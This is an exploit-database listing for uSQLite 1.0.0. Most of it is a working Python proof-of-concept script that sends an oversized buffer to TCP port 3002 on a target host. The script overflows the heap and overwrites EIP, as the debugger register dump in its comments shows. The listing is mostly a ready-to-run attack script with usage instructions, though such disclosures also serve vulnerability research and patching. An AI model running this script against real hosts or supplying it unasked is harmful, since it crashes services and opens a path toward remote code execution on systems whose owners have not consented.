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uSQLite 1.0.0 - Denial Of Service Exploit

Author
Peter Baris
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-26149
Category
dos / poc
Date add
27-10-2016
Platform
windows
#!/usr/bin/python
# Exploit Title: Remote buffer overflow vulnerability in uSQLite 1.0.0 PoC
# Date: 27/10/1016
# Exploit Author: Peter Baris
# Software Link: https://sourceforge.net/projects/usqlite/?source=directory
# Version: 1.0.0
# Tested on: windows 7 and XP SP3
 
# Longer strings will cause heap based overflow
 
# usage:  python usqlite.py <host address>
 
# Output in the debugger
 
# EAX 0000038C
# ECX 00B0DA10
# EDX 0000038C
# EBX 41414141
# ESP 0028F8D0 ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
# EBP 41414141
# ESI 41414141
# EDI 41414141
 
# EIP 42424242  <-- EIP is under control, but depending on the OS version, you might have issues finding a jump spot without DEP and ASLR.
 
###############################################################################################################################################
 
import socket
import sys
 
 
if len(sys.argv)<=1:
    print("Usage: python usqlite.py hostname")
    sys.exit()
 
 
hostname=sys.argv[1]
port = 3002
buffer = "A"*259+"B"*4+"C"*360
 
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((hostname,port))
sock.send(buffer +'\r\n')
sock.recv(1024)
sock.close()

#  0day.today [2024-12-26]  #